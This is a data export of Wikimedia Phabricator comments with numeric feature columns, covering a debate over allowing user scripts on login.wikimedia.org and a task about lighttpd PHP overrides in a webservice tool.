You've missed the point entirely. And this is still invalid, you need a separate task because this discussion does not need to be private, only the creator's email address.",,,1434226307,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,2.0,0.0,2.0,7.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,9.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,13.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,16.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.888888888888889,0.7333333333333333,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

You've missed the point entirely. And this is still invalid, you need a separate task because this discussion does not need to be private, only the creator's email address."
474180,Allow a script to work on login.wikimedia.org,"Last time I checked it was WMF who hired and paid their staff, not vice
versa :-) Does it really matter that LCA is now called just CA? Perhaps is
we were provided better tools to counter vandalism and spam we would not be
in need of using this workarounds to get the job done.",,,1434224829,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,8.0,0.0,3.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,2.0,8.0,11.0,2.0,3.0,3.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,10.0,8.0,5.0,2.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,3.7049180327868854,0.8688524590163934,"Last time I checked it was WMF who hired and paid their staff, not vice
versa :-) Does it really matter that LCA is now called just CA? Perhaps is
we were provided better tools to counter vandalism and spam we would not be
in need of using this workarounds to get the job done."
474179,Allow a script to work on login.wikimedia.org,">>! In T102254#1363085, @Krenair wrote:
> Yeah, unfortunately regardless of what that now-nonexistent department may have (or may not have) said, that doesn't mean it's necessarily supported by the developers or sysadmins. :)

Disabling checkuser there would be a significant set back for the stewards and the work against global spam and vandalism. I would fight any action to do so without a replacement already in stone (said replacement would essentially have to be global checkuser from meta). This is not a new thing, checkuser has been actively used and important since soon after loginWiki was created and has been discussed many times both on and off phabricator. 

@csteipp asked me about the possibility of a couple trusted gadgets being allowed on. @MarcoAurelio I know that's not perfect but allowing full global scripts is concerning, do you think that could  address most of the concerns  however?",,,1434224672,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,False,,,-3,True,1.5,0.0,0.0,3.0,1.5,8.0,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,2.0,1.0,5.5,9.5,0.0,1.0,0.0,1.0,0.0,2.0,0.5,0.0,0.0,1.0,1.5,1.0,5.0,1.5,0.0,0.5,1.0,0.0,0.0,1.0,2.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,1.0,0.0,3.0,0.0,0.0,0.0,5.0,5.0,5.0,1.0,5.0,7.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,9.5,0.5,1.0,0.0,0.0,3.0,0.0,0.0,2.5,1.0,2.0,0.0,1.0,1.0,4.507692307692308,0.823076923076923,"QUOTE
QUOTE

Disabling checkuser there would be a significant set back for the stewards and the work against global spam and vandalism. I would fight any action to do so without a replacement already in stone (said replacement would essentially have to be global checkuser from meta). This is not a new thing, checkuser has been actively used and important since soon after loginWiki was created and has been discussed many times both on and off phabricator. 
SCREEN_NAME asked me about the possibility of a couple trusted gadgets being allowed on.SCREEN_NAME I know that's not perfect but allowing full global scripts is concerning, do you think that could  address most of the concerns  however?"
474177,Allow a script to work on login.wikimedia.org,">>! In T102254#1363083, @MarcoAurelio wrote:
> You can ask @Jalexander but I can tell you that LCA approves such use.

Yeah, unfortunately regardless of what that now-nonexistent department may have (or may not have) said, that doesn't mean it's necessarily supported/intended by the developers or sysadmins. :)",,,1434224367,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,5.0,2.0,0.0,2.0,0.0,0.0,7.0,2.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.261904761904762,0.8571428571428571,"QUOTE
QUOTE

Yeah, unfortunately regardless of what that now-nonexistent department may have (or may not have) said, that doesn't mean it's necessarily supported/intended by the developers or sysadmins. :)"
474176,Allow a script to work on login.wikimedia.org,"Yeah, unfortunately regardless of what that now-nonexistent department may have (or may not have) said, that doesn't mean it's necessarily supported/intended by the developers or sysadmins. :)",,,1434224345,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,5.0,3.0,0.0,3.0,0.0,0.0,8.0,3.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.368421052631579,0.868421052631579,"Yeah, unfortunately regardless of what that now-nonexistent department may have (or may not have) said, that doesn't mean it's necessarily supported/intended by the developers or sysadmins. :)"
474174,Allow a script to work on login.wikimedia.org,"Yeah, unfortunately regardless of what that now-nonexistent department may have (or may not have) said, that doesn't mean it's necessarily supported by the developers or sysadmins. :)",,,1434223936,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,6.0,3.0,0.0,3.0,0.0,0.0,8.0,3.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.361111111111111,0.8611111111111112,"Yeah, unfortunately regardless of what that now-nonexistent department may have (or may not have) said, that doesn't mean it's necessarily supported by the developers or sysadmins. :)"
474173,Allow a script to work on login.wikimedia.org,"Yeah, unfortunately regardless of what that now-nonexistent department may have (or may not have) said, that doesn't mean it's magically supported by the developers or sysadmins. :)",,,1434223918,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,6.0,3.0,0.0,3.0,0.0,0.0,8.0,3.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.305555555555555,0.8611111111111112,"Yeah, unfortunately regardless of what that now-nonexistent department may have (or may not have) said, that doesn't mean it's magically supported by the developers or sysadmins. :)"
474172,Allow a script to work on login.wikimedia.org,You can ask @Jalexander but I can tell you that LCA approves such use.,,,1434223456,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,21.0,7.0,7.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.071428571428571,0.9285714285714286,You can askSCREEN_NAME but I can tell you that LCA approves such use.
474128,Allow a script to work on login.wikimedia.org,I don't think it was actually intended for that? Perhaps we should disable that extension there too.,,,1434211382,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,25.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,15.0,5.0,0.0,5.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,0.95,I don't think it was actually intended for that? Perhaps we should disable that extension there too.
474079,Allow a script to work on login.wikimedia.org,"It's used as a ""global CU wiki"" by stewards. [[ http://login.wikimedia.org/wiki/Special:ListUsers/checkuser | 1 ]]  [[https://meta.wikimedia.org/wiki/CheckUser_policy/Global_CheckUser_draft | 2 ]]",,,1434183014,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,7.0,4.0,0.0,7.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,14.0,1.9642857142857142,0.6785714285714286,"It's used as a ""global CU wiki"" by stewards. [[ URL | 1 ]]  [[URL | 2 ]]"
473859,Allow a script to work on login.wikimedia.org,"@MarcoAurelio, can you describe what stewards are doing on loginwiki? The wiki has a very specific purpose, and probably shouldn't be used for managing users. But if that's what it's being used for, then there's probably a gap somewhere else.",,,1434138685,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,2.0,4.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,14.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,2.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,8.0,2.0,2.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,4.02,0.8,"SCREEN_NAME, can you describe what stewards are doing on loginwiki? The wiki has a very specific purpose, and probably shouldn't be used for managing users. But if that's what it's being used for, then there's probably a gap somewhere else."
473788,Allow a script to work on login.wikimedia.org,"Well, now it's just invalid instead of potentially declined. Not a private security bug.",,,1434131491,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,28.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,0.9444444444444444,"Well, now it's just invalid instead of potentially declined. Not a private security bug."
473787,Allow a script to work on login.wikimedia.org,">>! In T102254#1360842, @Glaisher wrote:
> From https://gerrit.wikimedia.org/r/#/c/154432/ 
>> loginwiki has $wgAllowUserJs and $wgAllowUserCss set to false, so the extension wouldn't do anything anyways, so there's no point in enabling it there.

I understand it is a special wiki and the vast majority of users just need to go there to set cookies on login. Maybe those with global 'edit' or 'editusercssjs' could be allowed to have some scripts there just for work? @csteipp",,,1434131340,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,2.0,0.0,0.0,2.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,10.0,13.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,10.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,13.0,4.0,0.0,8.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.038461538461538,0.8076923076923077,"QUOTE
QUOTE
QUOTE

I understand it is a special wiki and the vast majority of users just need to go there to set cookies on login. Maybe those with global 'edit' or 'editusercssjs' could be allowed to have some scripts there just for work?SCREEN_NAME"
473783,Allow a script to work on login.wikimedia.org,">>! In T102254#1360869, @MarcoAurelio wrote:
>>>! In T102254#1360862, @Krenair wrote:
>>>>! In T102254#1360847, @MarcoAurelio wrote:
>>> Hmm, that email address there is bugging me... Any way to have it removed?
>> 
>> Nope, looks like you sent in via email.
> 
> Yep, I did. I didn't know the address would be visible if a registered account matched the email address. Something to learn for next time... :(

I would expect that if there was no registered account, it would have been rejected.",,,1434130904,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,27.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,21.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.606060606060606,0.5757575757575758,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I would expect that if there was no registered account, it would have been rejected."
473782,Allow a script to work on login.wikimedia.org,">>! In T102254#1360862, @Krenair wrote:
>>>! In T102254#1360847, @MarcoAurelio wrote:
>> Hmm, that email address there is bugging me... Any way to have it removed?
> 
> Nope, looks like you sent in via email.

Yep, I did. I didn't know the address would be visible if a registered account matched the email address. Something to learn for next time... :(",,,1434130852,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0.0,2.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,7.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,22.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,7.0,15.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.658536585365854,0.7073170731707317,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yep, I did. I didn't know the address would be visible if a registered account matched the email address. Something to learn for next time... :("
473778,Allow a script to work on login.wikimedia.org,">>! In T102254#1360847, @MarcoAurelio wrote:
> Hmm, that email address there is bugging me... Any way to have it removed?

Nope, looks like you sent in via email.",,,1434130644,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,21.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2142857142857144,0.9285714285714286,"QUOTE
QUOTE

Nope, looks like you sent in via email."
473776,Allow a script to work on login.wikimedia.org,"loginwiki is very specifically excluded from wmgUseGlobalCssJs so I would expect this to be declined, although I won't do it myself. I think we want to minimise the number of extensions installed there and also minimise the ability for anyone to do anything there other than log in. @csteipp?",,,1434130580,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0.0,4.0,2.0,4.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,9.0,0.0,11.0,19.0,4.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,7.0,4.0,2.0,6.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,11.0,19.0,2.0,2.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.574074074074074,0.8333333333333334,"loginwiki is very specifically excluded from wmgUseGlobalCssJs so I would expect this to be declined, although I won't do it myself. I think we want to minimise the number of extensions installed there and also minimise the ability for anyone to do anything there other than log in.SCREEN_NAME?"
473775,Allow a script to work on login.wikimedia.org,"Hmm, that email address there is bugging me... Any way to have it removed?",,,1434130579,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,6.0,6.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,3.588235294117647,1.0,"Hmm, that email address there is bugging me... Any way to have it removed?"
473774,Allow a script to work on login.wikimedia.org,"From https://gerrit.wikimedia.org/r/#/c/154432/ 
> loginwiki has $wgAllowUserJs and $wgAllowUserCss set to false, so the extension wouldn't do anything anyways, so there's no point in enabling it there.",,,1434130529,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,75.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,"From URL 
QUOTE"
101998,Make sure new webservice tool accepts lighttpd overrides,"Current webservice allows php overrides via

```
if [ ! -r $home/.lighttpd.conf ] || [[ ! $(cat ""$home/.lighttpd.conf"" | grep -P '^(?:[ \t]*fastcgi.server[ \t\+\(=]+"".php""|#no-default-php)') ]]; then
```

This is currently undocumented (see T101994), but maybe in use, so should be supported by the new webservice tool.",Low,25.0,1433947884,1467721812.0,PHID-USER-muirnivxp5hzppn2a3z7,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-sp5dimdulsrqhop3bcbr,task_description,resolved,True,c3,1,True,False,False,-4,True,0.0,0.0,0.0,3.0,0.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,5.0,11.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.945945945945946,0.8378378378378378,"Current webservice allows php overrides via

``CODE``

This is currently undocumented (see T101994), but maybe in use, so should be supported by the new webservice tool."
688620,Make sure new webservice tool accepts lighttpd overrides,It does!,,,1467721812,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-sp5dimdulsrqhop3bcbr,task_subcomment,,True,c3,3,True,,,52,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,1.0,It does!
472238,Make sure new webservice tool accepts lighttpd overrides,"oh, and for type==lighttpd-plain - because it's undocumented I'm just going to move them over manually when doing the switchover. There's a task for that somewhere, let me find it.",,,1433948609,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-sp5dimdulsrqhop3bcbr,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,5.0,0.0,10.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,3.0,8.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,3.0,5.0,5.0,0.0,0.0,0.0,3.871794871794872,0.8461538461538461,"oh, and for type==lighttpd-plain - because it's undocumented I'm just going to move them over manually when doing the switchover. There's a task for that somewhere, let me find it."
